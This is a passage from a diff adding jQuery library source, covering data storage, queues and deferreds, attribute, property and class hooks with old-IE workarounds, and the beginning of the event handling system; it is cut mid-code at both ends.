jQuery.support.deleteExpando ) { + delete elem[ internalKey ]; + } else if ( elem.removeAttribute ) { + elem.removeAttribute( internalKey ); + } else { + elem[ internalKey ] = null; + } + } + }, + + // For internal use only. + _data: function( elem, name, data ) { + return jQuery.data( elem, name, data, true ); + }, + + // A method for determining if a DOM node can handle the data expando + acceptData: function( elem ) { + if ( elem.nodeName ) { + var match = jQuery.noData[ elem.nodeName.toLowerCase() ]; + + if ( match ) { + return !(match === true || elem.getAttribute("classid") !== match); + } + } + + return true; + } +}); + +jQuery.fn.extend({ + data: function( key, value ) { + var parts, attr, name, + data = null; + + if ( typeof key === "undefined" ) { + if ( this.length ) { + data = jQuery.data( this[0] ); + + if ( this[0].nodeType === 1 && !jQuery._data( this[0], "parsedAttrs" ) ) { + attr = this[0].attributes; + for ( var i = 0, l = attr.length; i < l; i++ ) { + name = attr[i].name; + + if ( name.indexOf( "data-" ) === 0 ) { + name = jQuery.camelCase( name.substring(5) ); + + dataAttr( this[0], name, data[ name ] ); + } + } + jQuery._data( this[0], "parsedAttrs", true ); + } + } + + return data; + + } else if ( typeof key === "object" ) { + return this.each(function() { + jQuery.data( this, key ); + }); + } + + parts = key.split("."); + parts[1] = parts[1] ? "." + parts[1] : ""; + + if ( value === undefined ) { + data = this.triggerHandler("getData" + parts[1] + "!", [parts[0]]); + + // Try to fetch any internally stored data first + if ( data === undefined && this.length ) { + data = jQuery.data( this[0], key ); + data = dataAttr( this[0], key, data ); + } + + return data === undefined && parts[1] ? + this.data( parts[0] ) : + data; + + } else { + return this.each(function() { + var self = jQuery( this ), + args = [ parts[0], value ]; + + self.triggerHandler( "setData" + parts[1] + "!", args ); + jQuery.data( this, key, value ); + self.triggerHandler( "changeData" + parts[1] + "!", args ); + }); + } + }, + + removeData: function( key ) { + return this.each(function() { + jQuery.removeData( this, key ); + }); + } +}); + +function dataAttr( elem, key, data ) { + // If nothing was found internally, try to fetch any + // data from the HTML5 data-* attribute + if ( data === undefined && elem.nodeType === 1 ) { + + var name = "data-" + key.replace( rmultiDash, "-$1" ).toLowerCase(); + + data = elem.getAttribute( name ); + + if ( typeof data === "string" ) { + try { + data = data === "true" ? true : + data === "false" ? false : + data === "null" ? null : + jQuery.isNumeric( data ) ? parseFloat( data ) : + rbrace.test( data ) ? jQuery.parseJSON( data ) : + data; + } catch( e ) {} + + // Make sure we set the data so it isn't changed later + jQuery.data( elem, key, data ); + + } else { + data = undefined; + } + } + + return data; +} + +// checks a cache object for emptiness +function isEmptyDataObject( obj ) { + for ( var name in obj ) { + + // if the public data object is empty, the private is still empty + if ( name === "data" && jQuery.isEmptyObject( obj[name] ) ) { + continue; + } + if ( name !== "toJSON" ) { + return false; + } + } + + return true; +} + + + + +function handleQueueMarkDefer( elem, type, src ) { + var deferDataKey = type + "defer", + queueDataKey = type + "queue", + markDataKey = type + "mark", + defer = jQuery._data( elem, deferDataKey ); + if ( defer && + ( src === "queue" || !jQuery._data(elem, queueDataKey) ) && + ( src === "mark" || !jQuery._data(elem, markDataKey) ) ) { + // Give room for hard-coded callbacks to fire first + // and eventually mark/queue something else on the element + setTimeout( function() { + if ( !jQuery._data( elem, queueDataKey ) && + !jQuery._data( elem, markDataKey ) ) { + jQuery.removeData( elem, deferDataKey, true ); + defer.fire(); + } + }, 0 ); + } +} + +jQuery.extend({ + + _mark: function( elem, type ) { + if ( elem ) { + type = ( type || "fx" ) + "mark"; + jQuery._data( elem, type, (jQuery._data( elem, type ) || 0) + 1 ); + } + }, + + _unmark: function( force, elem, type ) { + if ( force !== true ) { + type = elem; + elem = force; + force = false; + } + if ( elem ) { + type = type || "fx"; + var key = type + "mark", + count = force ? 0 : ( (jQuery._data( elem, key ) || 1) - 1 ); + if ( count ) { + jQuery._data( elem, key, count ); + } else { + jQuery.removeData( elem, key, true ); + handleQueueMarkDefer( elem, type, "mark" ); + } + } + }, + + queue: function( elem, type, data ) { + var q; + if ( elem ) { + type = ( type || "fx" ) + "queue"; + q = jQuery._data( elem, type ); + + // Speed up dequeue by getting out quickly if this is just a lookup + if ( data ) { + if ( !q || jQuery.isArray(data) ) { + q = jQuery._data( elem, type, jQuery.makeArray(data) ); + } else { + q.push( data ); + } + } + return q || []; + } + }, + + dequeue: function( elem, type ) { + type = type || "fx"; + + var queue = jQuery.queue( elem, type ), + fn = queue.shift(), + hooks = {}; + + // If the fx queue is dequeued, always remove the progress sentinel + if ( fn === "inprogress" ) { + fn = queue.shift(); + } + + if ( fn ) { + // Add a progress sentinel to prevent the fx queue from being + // automatically dequeued + if ( type === "fx" ) { + queue.unshift( "inprogress" ); + } + + jQuery._data( elem, type + ".run", hooks ); + fn.call( elem, function() { + jQuery.dequeue( elem, type ); + }, hooks ); + } + + if ( !queue.length ) { + jQuery.removeData( elem, type + "queue " + type + ".run", true ); + handleQueueMarkDefer( elem, type, "queue" ); + } + } +}); + +jQuery.fn.extend({ + queue: function( type, data ) { + if ( typeof type !== "string" ) { + data = type; + type = "fx"; + } + + if ( data === undefined ) { + return jQuery.queue( this[0], type ); + } + return this.each(function() { + var queue = jQuery.queue( this, type, data ); + + if ( type === "fx" && queue[0] !== "inprogress" ) { + jQuery.dequeue( this, type ); + } + }); + }, + dequeue: function( type ) { + return this.each(function() { + jQuery.dequeue( this, type ); + }); + }, + // Based off of the plugin by Clint Helfers, with permission. + // http://blindsignals.com/index.php/2009/07/jquery-delay/ + delay: function( time, type ) { + time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time; + type = type || "fx"; + + return this.queue( type, function( next, hooks ) { + var timeout = setTimeout( next, time ); + hooks.stop = function() { + clearTimeout( timeout ); + }; + }); + }, + clearQueue: function( type ) { + return this.queue( type || "fx", [] ); + }, + // Get a promise resolved when queues of a certain type + // are emptied (fx is the type by default) + promise: function( type, object ) { + if ( typeof type !== "string" ) { + object = type; + type = undefined; + } + type = type || "fx"; + var defer = jQuery.Deferred(), + elements = this, + i = elements.length, + count = 1, + deferDataKey = type + "defer", + queueDataKey = type + "queue", + markDataKey = type + "mark", + tmp; + function resolve() { + if ( !( --count ) ) { + defer.resolveWith( elements, [ elements ] ); + } + } + while( i-- ) { + if (( tmp = jQuery.data( elements[ i ], deferDataKey, undefined, true ) || + ( jQuery.data( elements[ i ], queueDataKey, undefined, true ) || + jQuery.data( elements[ i ], markDataKey, undefined, true ) ) && + jQuery.data( elements[ i ], deferDataKey, jQuery.Callbacks( "once memory" ), true ) )) { + count++; + tmp.add( resolve ); + } + } + resolve(); + return defer.promise(); + } +}); + + + + +var rclass = /[\n\t\r]/g, + rspace = /\s+/, + rreturn = /\r/g, + rtype = /^(?:button|input)$/i, + rfocusable = /^(?:button|input|object|select|textarea)$/i, + rclickable = /^a(?:rea)?$/i, + rboolean = /^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i, + getSetAttribute = jQuery.support.getSetAttribute, + nodeHook, boolHook, fixSpecified; + +jQuery.fn.extend({ + attr: function( name, value ) { + return jQuery.access( this, name, value, true, jQuery.attr ); + }, + + removeAttr: function( name ) { + return this.each(function() { + jQuery.removeAttr( this, name ); + }); + }, + + prop: function( name, value ) { + return jQuery.access( this, name, value, true, jQuery.prop ); + }, + + removeProp: function( name ) { + name = jQuery.propFix[ name ] || name; + return this.each(function() { + // try/catch handles cases where IE balks (such as removing a property on window) + try { + this[ name ] = undefined; + delete this[ name ]; + } catch( e ) {} + }); + }, + + addClass: function( value ) { + var classNames, i, l, elem, + setClass, c, cl; + + if ( jQuery.isFunction( value ) ) { + return this.each(function( j ) { + jQuery( this ).addClass( value.call(this, j, this.className) ); + }); + } + + if ( value && typeof value === "string" ) { + classNames = value.split( rspace ); + + for ( i = 0, l = this.length; i < l; i++ ) { + elem = this[ i ]; + + if ( elem.nodeType === 1 ) { + if ( !elem.className && classNames.length === 1 ) { + elem.className = value; + + } else { + setClass = " " + elem.className + " "; + + for ( c = 0, cl = classNames.length; c < cl; c++ ) { + if ( !~setClass.indexOf( " " + classNames[ c ] + " " ) ) { + setClass += classNames[ c ] + " "; + } + } + elem.className = jQuery.trim( setClass ); + } + } + } + } + + return this; + }, + + removeClass: function( value ) { + var classNames, i, l, elem, className, c, cl; + + if ( jQuery.isFunction( value ) ) { + return this.each(function( j ) { + jQuery( this ).removeClass( value.call(this, j, this.className) ); + }); + } + + if ( (value && typeof value === "string") || value === undefined ) { + classNames = ( value || "" ).split( rspace ); + + for ( i = 0, l = this.length; i < l; i++ ) { + elem = this[ i ]; + + if ( elem.nodeType === 1 && elem.className ) { + if ( value ) { + className = (" " + elem.className + " ").replace( rclass, " " ); + for ( c = 0, cl = classNames.length; c < cl; c++ ) { + className = className.replace(" " + classNames[ c ] + " ", " "); + } + elem.className = jQuery.trim( className ); + + } else { + elem.className = ""; + } + } + } + } + + return this; + }, + + toggleClass: function( value, stateVal ) { + var type = typeof value, + isBool = typeof stateVal === "boolean"; + + if ( jQuery.isFunction( value ) ) { + return this.each(function( i ) { + jQuery( this ).toggleClass( value.call(this, i, this.className, stateVal), stateVal ); + }); + } + + return this.each(function() { + if ( type === "string" ) { + // toggle individual class names + var className, + i = 0, + self = jQuery( this ), + state = stateVal, + classNames = value.split( rspace ); + + while ( (className = classNames[ i++ ]) ) { + // check each className given, space seperated list + state = isBool ? state : !self.hasClass( className ); + self[ state ? "addClass" : "removeClass" ]( className ); + } + + } else if ( type === "undefined" || type === "boolean" ) { + if ( this.className ) { + // store className if set + jQuery._data( this, "__className__", this.className ); + } + + // toggle whole className + this.className = this.className || value === false ? "" : jQuery._data( this, "__className__" ) || ""; + } + }); + }, + + hasClass: function( selector ) { + var className = " " + selector + " ", + i = 0, + l = this.length; + for ( ; i < l; i++ ) { + if ( this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) > -1 ) { + return true; + } + } + + return false; + }, + + val: function( value ) { + var hooks, ret, isFunction, + elem = this[0]; + + if ( !arguments.length ) { + if ( elem ) { + hooks = jQuery.valHooks[ elem.nodeName.toLowerCase() ] || jQuery.valHooks[ elem.type ]; + + if ( hooks && "get" in hooks && (ret = hooks.get( elem, "value" )) !== undefined ) { + return ret; + } + + ret = elem.value; + + return typeof ret === "string" ? + // handle most common string cases + ret.replace(rreturn, "") : + // handle cases where value is null/undef or number + ret == null ? "" : ret; + } + + return; + } + + isFunction = jQuery.isFunction( value ); + + return this.each(function( i ) { + var self = jQuery(this), val; + + if ( this.nodeType !== 1 ) { + return; + } + + if ( isFunction ) { + val = value.call( this, i, self.val() ); + } else { + val = value; + } + + // Treat null/undefined as ""; convert numbers to string + if ( val == null ) { + val = ""; + } else if ( typeof val === "number" ) { + val += ""; + } else if ( jQuery.isArray( val ) ) { + val = jQuery.map(val, function ( value ) { + return value == null ? "" : value + ""; + }); + } + + hooks = jQuery.valHooks[ this.nodeName.toLowerCase() ] || jQuery.valHooks[ this.type ]; + + // If set returns undefined, fall back to normal setting + if ( !hooks || !("set" in hooks) || hooks.set( this, val, "value" ) === undefined ) { + this.value = val; + } + }); + } +}); + +jQuery.extend({ + valHooks: { + option: { + get: function( elem ) { + // attributes.value is undefined in Blackberry 4.7 but + // uses .value. See #6932 + var val = elem.attributes.value; + return !val || val.specified ? elem.value : elem.text; + } + }, + select: { + get: function( elem ) { + var value, i, max, option, + index = elem.selectedIndex, + values = [], + options = elem.options, + one = elem.type === "select-one"; + + // Nothing was selected + if ( index < 0 ) { + return null; + } + + // Loop through all the selected options + i = one ? index : 0; + max = one ? index + 1 : options.length; + for ( ; i < max; i++ ) { + option = options[ i ]; + + // Don't return options that are disabled or in a disabled optgroup + if ( option.selected && (jQuery.support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null) && + (!option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" )) ) { + + // Get the specific value for the option + value = jQuery( option ).val(); + + // We don't need an array for one selects + if ( one ) { + return value; + } + + // Multi-Selects return an array + values.push( value ); + } + } + + // Fixes Bug #2551 -- select.val() broken in IE after form.reset() + if ( one && !values.length && options.length ) { + return jQuery( options[ index ] ).val(); + } + + return values; + }, + + set: function( elem, value ) { + var values = jQuery.makeArray( value ); + + jQuery(elem).find("option").each(function() { + this.selected = jQuery.inArray( jQuery(this).val(), values ) >= 0; + }); + + if ( !values.length ) { + elem.selectedIndex = -1; + } + return values; + } + } + }, + + attrFn: { + val: true, + css: true, + html: true, + text: true, + data: true, + width: true, + height: true, + offset: true + }, + + attr: function( elem, name, value, pass ) { + var ret, hooks, notxml, + nType = elem.nodeType; + + // don't get/set attributes on text, comment and attribute nodes + if ( !elem || nType === 3 || nType === 8 || nType === 2 ) { + return; + } + + if ( pass && name in jQuery.attrFn ) { + return jQuery( elem )[ name ]( value ); + } + + // Fallback to prop when attributes are not supported + if ( typeof elem.getAttribute === "undefined" ) { + return jQuery.prop( elem, name, value ); + } + + notxml = nType !== 1 || !jQuery.isXMLDoc( elem ); + + // All attributes are lowercase + // Grab necessary hook if one is defined + if ( notxml ) { + name = name.toLowerCase(); + hooks = jQuery.attrHooks[ name ] || ( rboolean.test( name ) ? boolHook : nodeHook ); + } + + if ( value !== undefined ) { + + if ( value === null ) { + jQuery.removeAttr( elem, name ); + return; + + } else if ( hooks && "set" in hooks && notxml && (ret = hooks.set( elem, value, name )) !== undefined ) { + return ret; + + } else { + elem.setAttribute( name, "" + value ); + return value; + } + + } else if ( hooks && "get" in hooks && notxml && (ret = hooks.get( elem, name )) !== null ) { + return ret; + + } else { + + ret = elem.getAttribute( name ); + + // Non-existent attributes return null, we normalize to undefined + return ret === null ? + undefined : + ret; + } + }, + + removeAttr: function( elem, value ) { + var propName, attrNames, name, l, + i = 0; + + if ( value && elem.nodeType === 1 ) { + attrNames = value.toLowerCase().split( rspace ); + l = attrNames.length; + + for ( ; i < l; i++ ) { + name = attrNames[ i ]; + + if ( name ) { + propName = jQuery.propFix[ name ] || name; + + // See #9699 for explanation of this approach (setting first, then removal) + jQuery.attr( elem, name, "" ); + elem.removeAttribute( getSetAttribute ? name : propName ); + + // Set corresponding property to false for boolean attributes + if ( rboolean.test( name ) && propName in elem ) { + elem[ propName ] = false; + } + } + } + } + }, + + attrHooks: { + type: { + set: function( elem, value ) { + // We can't allow the type property to be changed (since it causes problems in IE) + if ( rtype.test( elem.nodeName ) && elem.parentNode ) { + jQuery.error( "type property can't be changed" ); + } else if ( !jQuery.support.radioValue && value === "radio" && jQuery.nodeName(elem, "input") ) { + // Setting the type on a radio button after the value resets the value in IE6-9 + // Reset value to it's default in case type is set after value + // This is for element creation + var val = elem.value; + elem.setAttribute( "type", value ); + if ( val ) { + elem.value = val; + } + return value; + } + } + }, + // Use the value property for back compat + // Use the nodeHook for button elements in IE6/7 (#1954) + value: { + get: function( elem, name ) { + if ( nodeHook && jQuery.nodeName( elem, "button" ) ) { + return nodeHook.get( elem, name ); + } + return name in elem ? + elem.value : + null; + }, + set: function( elem, value, name ) { + if ( nodeHook && jQuery.nodeName( elem, "button" ) ) { + return nodeHook.set( elem, value, name ); + } + // Does not return so that setAttribute is also used + elem.value = value; + } + } + }, + + propFix: { + tabindex: "tabIndex", + readonly: "readOnly", + "for": "htmlFor", + "class": "className", + maxlength: "maxLength", + cellspacing: "cellSpacing", + cellpadding: "cellPadding", + rowspan: "rowSpan", + colspan: "colSpan", + usemap: "useMap", + frameborder: "frameBorder", + contenteditable: "contentEditable" + }, + + prop: function( elem, name, value ) { + var ret, hooks, notxml, + nType = elem.nodeType; + + // don't get/set properties on text, comment and attribute nodes + if ( !elem || nType === 3 || nType === 8 || nType === 2 ) { + return; + } + + notxml = nType !== 1 || !jQuery.isXMLDoc( elem ); + + if ( notxml ) { + // Fix name and attach hooks + name = jQuery.propFix[ name ] || name; + hooks = jQuery.propHooks[ name ]; + } + + if ( value !== undefined ) { + if ( hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) { + return ret; + + } else { + return ( elem[ name ] = value ); + } + + } else { + if ( hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) { + return ret; + + } else { + return elem[ name ]; + } + } + }, + + propHooks: { + tabIndex: { + get: function( elem ) { + // elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set + // http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/ + var attributeNode = elem.getAttributeNode("tabindex"); + + return attributeNode && attributeNode.specified ? + parseInt( attributeNode.value, 10 ) : + rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ? + 0 : + undefined; + } + } + } +}); + +// Add the tabIndex propHook to attrHooks for back-compat (different case is intentional) +jQuery.attrHooks.tabindex = jQuery.propHooks.tabIndex; + +// Hook for boolean attributes +boolHook = { + get: function( elem, name ) { + // Align boolean attributes with corresponding properties + // Fall back to attribute presence where some booleans are not supported + var attrNode, + property = jQuery.prop( elem, name ); + return property === true || typeof property !== "boolean" && ( attrNode = elem.getAttributeNode(name) ) && attrNode.nodeValue !== false ? + name.toLowerCase() : + undefined; + }, + set: function( elem, value, name ) { + var propName; + if ( value === false ) { + // Remove boolean attributes when set to false + jQuery.removeAttr( elem, name ); + } else { + // value is true since we know at this point it's type boolean and not false + // Set boolean attributes to the same name and set the DOM property + propName = jQuery.propFix[ name ] || name; + if ( propName in elem ) { + // Only set the IDL specifically if it already exists on the element + elem[ propName ] = true; + } + + elem.setAttribute( name, name.toLowerCase() ); + } + return name; + } +}; + +// IE6/7 do not support getting/setting some attributes with get/setAttribute +if ( !getSetAttribute ) { + + fixSpecified = { + name: true, + id: true + }; + + // Use this for any attribute in IE6/7 + // This fixes almost every IE6/7 issue + nodeHook = jQuery.valHooks.button = { + get: function( elem, name ) { + var ret; + ret = elem.getAttributeNode( name ); + return ret && ( fixSpecified[ name ] ? ret.nodeValue !== "" : ret.specified ) ? + ret.nodeValue : + undefined; + }, + set: function( elem, value, name ) { + // Set the existing or create a new attribute node + var ret = elem.getAttributeNode( name ); + if ( !ret ) { + ret = document.createAttribute( name ); + elem.setAttributeNode( ret ); + } + return ( ret.nodeValue = value + "" ); + } + }; + + // Apply the nodeHook to tabindex + jQuery.attrHooks.tabindex.set = nodeHook.set; + + // Set width and height to auto instead of 0 on empty string( Bug #8150 ) + // This is for removals + jQuery.each([ "width", "height" ], function( i, name ) { + jQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], { + set: function( elem, value ) { + if ( value === "" ) { + elem.setAttribute( name, "auto" ); + return value; + } + } + }); + }); + + // Set contenteditable to false on removals(#10429) + // Setting to empty string throws an error as an invalid value + jQuery.attrHooks.contenteditable = { + get: nodeHook.get, + set: function( elem, value, name ) { + if ( value === "" ) { + value = "false"; + } + nodeHook.set( elem, value, name ); + } + }; +} + + +// Some attributes require a special call on IE +if ( !jQuery.support.hrefNormalized ) { + jQuery.each([ "href", "src", "width", "height" ], function( i, name ) { + jQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], { + get: function( elem ) { + var ret = elem.getAttribute( name, 2 ); + return ret === null ? undefined : ret; + } + }); + }); +} + +if ( !jQuery.support.style ) { + jQuery.attrHooks.style = { + get: function( elem ) { + // Return undefined in the case of empty string + // Normalize to lowercase since IE uppercases css property names + return elem.style.cssText.toLowerCase() || undefined; + }, + set: function( elem, value ) { + return ( elem.style.cssText = "" + value ); + } + }; +} + +// Safari mis-reports the default selected property of an option +// Accessing the parent's selectedIndex property fixes it +if ( !jQuery.support.optSelected ) { + jQuery.propHooks.selected = jQuery.extend( jQuery.propHooks.selected, { + get: function( elem ) { + var parent = elem.parentNode; + + if ( parent ) { + parent.selectedIndex; + + // Make sure that it also works with optgroups, see #5701 + if ( parent.parentNode ) { + parent.parentNode.selectedIndex; + } + } + return null; + } + }); +} + +// IE6/7 call enctype encoding +if ( !jQuery.support.enctype ) { + jQuery.propFix.enctype = "encoding"; +} + +// Radios and checkboxes getter/setter +if ( !jQuery.support.checkOn ) { + jQuery.each([ "radio", "checkbox" ], function() { + jQuery.valHooks[ this ] = { + get: function( elem ) { + // Handle the case where in Webkit "" is returned instead of "on" if a value isn't specified + return elem.getAttribute("value") === null ? "on" : elem.value; + } + }; + }); +} +jQuery.each([ "radio", "checkbox" ], function() { + jQuery.valHooks[ this ] = jQuery.extend( jQuery.valHooks[ this ], { + set: function( elem, value ) { + if ( jQuery.isArray( value ) ) { + return ( elem.checked = jQuery.inArray( jQuery(elem).val(), value ) >= 0 ); + } + } + }); +}); + + + + +var rformElems = /^(?:textarea|input|select)$/i, + rtypenamespace = /^([^\.]*)?(?:\.(.+))?$/, + rhoverHack = /\bhover(\.\S+)?\b/, + rkeyEvent = /^key/, + rmouseEvent = /^(?:mouse|contextmenu)|click/, + rfocusMorph = /^(?:focusinfocus|focusoutblur)$/, + rquickIs = /^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/, + quickParse = function( selector ) { + var quick = rquickIs.exec( selector ); + if ( quick ) { + // 0 1 2 3 + // [ _, tag, id, class ] + quick[1] = ( quick[1] || "" ).toLowerCase(); + quick[3] = quick[3] && new RegExp( "(?:^|\\s)" + quick[3] + "(?:\\s|$)" ); + } + return quick; + }, + quickIs = function( elem, m ) { + var attrs = elem.attributes || {}; + return ( + (!m[1] || elem.nodeName.toLowerCase() === m[1]) && + (!m[2] || (attrs.id || {}).value === m[2]) && + (!m[3] || m[3].test( (attrs[ "class" ] || {}).value )) + ); + }, + hoverHack = function( events ) { + return jQuery.event.special.hover ? events : events.replace( rhoverHack, "mouseenter$1 mouseleave$1" ); + }; + +/* + * Helper functions for managing events -- not part of the public interface. + * Props to Dean Edwards' addEvent library for many of the ideas. + */ +jQuery.event = { + + add: function( elem, types, handler, data, selector ) { + + var elemData, eventHandle, events, + t, tns, type, namespaces, handleObj, + handleObjIn, quick, handlers, special; + + // Don't attach events to noData or text/comment nodes (allow plain objects tho) + if ( elem.nodeType === 3 || elem.nodeType === 8 || !types || !handler || !(elemData = jQuery._data( elem )) ) { + return; + } + + // Caller can pass in an object of custom data in lieu of the handler + if ( handler.handler ) { + handleObjIn = handler; + handler = handleObjIn.handler; + } + + // Make sure that the handler has a unique ID, used to find/remove it later + if ( !handler.guid ) { + handler.guid = jQuery.guid++; + } + + // Init the element's event structure and main handler, if this is the first + events = elemData.events; + if ( !events ) { + elemData.events = events = {}; + } + eventHandle = elemData.handle; + if ( !eventHandle ) { + elemData.handle = eventHandle = function( e ) { + // Discard the second event of a jQuery.event.trigger() and + // when an event is called after a page has unloaded + return typeof jQuery !== "undefined" && (!e || jQuery.event.triggered !== e.type) ? + jQuery.event.dispatch.apply( eventHandle.elem, arguments ) : + undefined; + }; + // Add elem as a property of the handle fn to prevent a memory leak with IE non-native events + eventHandle.elem = elem; + } + + // Handle multiple events separated by a space + // jQuery(...).bind("mouseover mouseout", fn); + types = jQuery.trim( hoverHack(types) ).split( " " ); + for ( t = 0; t < types.length; t++ ) { + + tns = rtypenamespace.exec( types[t] ) || []; + type = tns[1]; + namespaces = ( tns[2] || "" ).split( "." ).sort(); + + // If event changes its type, use the special event handlers for the changed type + special = jQuery.event.special[ type ] || {}; + + // If selector defined, determine special event api type, otherwise given type + type = ( selector ? special.delegateType : special.bindType ) || type; + + // Update special based on newly reset type + special = jQuery.event.special[ type ] || {}; + + // handleObj is passed to all event handlers + handleObj = jQuery.extend({ + type: type, + origType: tns[1], + data: data, + handler: handler, + guid: handler.guid, + selector: selector, + quick: quickParse( selector ), + namespace: namespaces.join(".") + }, handleObjIn ); + + // Init the event handler queue if we're the first + handlers = events[ type ]; + if ( !handlers ) { + handlers = events[ type ] = []; + handlers.delegateCount = 0; + + // Only use addEventListener/attachEvent if the special events handler returns false + if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) { + // Bind the global event handler to the element + if ( elem.addEventListener ) { + elem.addEventListener( type, eventHandle, false ); + + } else if ( elem.attachEvent ) { + elem.attachEvent( "on" + type, eventHandle ); + } + } + } + + if ( special.add ) { + special.add.call( elem, handleObj ); + + if ( !handleObj.handler.guid ) { + handleObj.handler.guid = handler.guid; + } + } + + // Add to the element's handler list, delegates in front + if ( selector ) { + handlers.splice( handlers.delegateCount++, 0, handleObj ); + } else { + handlers.push( handleObj ); + } + + // Keep track of which events have ever been used, for event optimization + jQuery.event.global[ type ] = true; + } + + // Nullify elem to prevent memory leaks in IE + elem = null; + }, + + global: {}, + + // Detach an event or set of events from an element + remove: function( elem, types, handler, selector, mappedTypes ) { + + var elemData = jQuery.hasData( elem ) && jQuery._data( elem ), + t, tns, type, origType, namespaces, origCount, + j, events, special, handle, eventType, handleObj; + + if ( !elemData || !(events = elemData.events) ) { + return; + } + + // Once for each type.namespace in types; type may be omitted + types = jQuery.trim( hoverHack( types || "" ) ).split(" "); + for ( t = 0; t < types.length; t++ ) { + tns = rtypenamespace.exec( types[t] ) || []; + type = origType = tns[1]; + namespaces = tns[2]; + + // Unbind all events (on this namespace, if provided) for the element + if ( !type ) { + for ( type in events ) { + jQuery.event.remove( elem, type + types[ t ], handler, selector, true ); + } + continue; + } + + special = jQuery.event.special[ type ] || {}; + type = ( selector? special.delegateType : special.bindType ) || type; + eventType = events[ type ] || []; + origCount = eventType.length; + namespaces = namespaces ? new RegExp("(^|\\.)" + namespaces.split(".").sort().join("\\.(?:.*\\.)?") + "(\\.|$)") : null; + + // Remove matching events + for ( j = 0; j < eventType.length; j++ ) { + handleObj = eventType[ j ]; + + if ( ( mappedTypes || origType === handleObj.origType ) && + ( !handler || handler.guid === handleObj.guid ) && + ( !namespaces || namespaces.test( handleObj.namespace ) ) && + ( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) { + eventType.splice( j--, 1 ); + + if ( handleObj.selector ) { + eventType.delegateCount--; + } + if ( special.remove ) { + special.remove.call( elem, handleObj ); + } + } + } + + // Remove generic event handler if we removed something and no more handlers exist + // (avoids potential for endless recursion during removal of special event handlers) + if ( eventType.length === 0 && origCount !== eventType.length ) { + if ( !special.teardown || special.teardown.call( elem, namespaces ) === false ) { + jQuery.removeEvent( elem, type, elemData.handle ); + } + + delete events[ type ]; + } + } + + // Remove the expando if it's no longer used + if ( jQuery.isEmptyObject( events ) ) { + handle = elemData.handle; + if ( handle ) { + handle.elem = null; + } + + // removeData also checks for emptiness and clears the expando if empty + // so use it instead of delete + jQuery.removeData( elem, [ "events", "handle" ], true ); + } + }, + + // Events that are safe to short-circuit if no handlers are attached. + // Native DOM events should not be added, they may have inline handlers. + customEvent: { + "getData": true, + "setData": true, + "changeData": true + }, + + trigger: function( event, data, elem, onlyHandlers ) { + // Don't do events on text and comment nodes + if ( elem && (elem.nodeType === 3 || elem.nodeType === 8) ) { + return; + } + + // Event object or event type + var type = event.type || event, + namespaces = [], + cache, exclusive, i, cur, old, ontype, special, handle, eventPath, bubbleType; + + // focus/blur morphs to focusin/out; ensure we're not firing them right now + if ( rfocusMorph.test( type + jQuery.event.triggered ) ) { + return; + } + + if ( type.indexOf( "!" ) >= 0 ) { + // Exclusive events trigger only for the exact event (no namespaces) + type = type.slice(0, -1); + exclusive = true; + } + + if ( type.indexOf( "." ) >= 0 ) { + // Namespaced trigger; create a regexp to match event type in handle() + namespaces = type.split("."); + type = namespaces.shift(); + namespaces.sort(); + } + + if ( (!elem || jQuery.event.customEvent[ type ]) && !jQuery.event.global[ type ] ) { + // No jQuery handlers for this event type, and it can't have inline handlers + return; + } + + // Caller can pass in an Event, Object, or just an event type string + event = typeof event === "object" ? + // jQuery.Event object + event[ jQuery.expando ] ? event : + // Object literal + new jQuery.Event( type, event ) : + // Just the event type (string) + new jQuery.Event( type ); + + event.type = type; + event.isTrigger = true; + event.exclusive = exclusive; + event.namespace = namespaces.join( "." ); + event.namespace_re = event.namespace? new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.)?") + "(\\.|$)") : null; + ontype = type.indexOf( ":" ) < 0 ? "on" + type : ""; + + // Handle a global trigger + if ( !elem ) { + + // TODO: Stop taunting the data cache; remove global events and always attach to document + cache = jQuery.cache; + for ( i in cache ) { + if ( cache[ i ].events && cache[ i ].events[ type ] ) { + jQuery.event.trigger( event, data, cache[ i ].handle.elem, true ); + } + } + return; + } + + // Clean up the event in case it is being reused + event.result = undefined; + if ( !event.target ) { + event.target = elem; + } + + // Clone any incoming data and prepend the event, creating the handler arg list + data = data != null ? jQuery.makeArray( data ) : []; + data.unshift( event ); + + // Allow special events to draw outside the lines + special = jQuery.event.special[ type ] || {}; + if ( special.trigger && special.trigger.apply( elem, data ) === false ) { + return; + } + + // Determine event propagation path in advance, per W3C events spec (#9951) + // Bubble up to document, then to window; watch for a global ownerDocument var (#9724) + eventPath = [[ elem, special.bindType || type ]]; + if ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) { + + bubbleType = special.delegateType || type; + cur = rfocusMorph.test( bubbleType + type ) ? elem : elem.parentNode; + old = null; + for ( ; cur; cur = cur.parentNode ) { + eventPath.push([ cur, bubbleType ]); + old = cur; + } + + // Only add window if we got to document (e.g., not plain obj or detached DOM) + if ( old && old === elem.ownerDocument ) { + eventPath.push([ old.defaultView || old.parentWindow || window, bubbleType ]); + } + } + + // Fire handlers on the event path + for ( i = 0; i < eventPath.length && !event.isPropagationStopped(); i++ ) { + + cur = eventPath[i][0]; + event.type = eventPath[i][1]; + + handle = ( jQuery._data( cur, "events" ) || {} )[ event.type ] && jQuery._data( cur, "handle" ); + if ( handle ) { + handle.apply( cur, data ); + } + // Note that this is a bare JS function and not a jQuery handler + handle = ontype && cur[ ontype ]; + if ( handle && jQuery.acceptData( cur ) && handle.apply( cur, data ) === false ) { + event.preventDefault(); + } + } + event.type = type; + + // If nobody prevented the default action, do it now + if ( 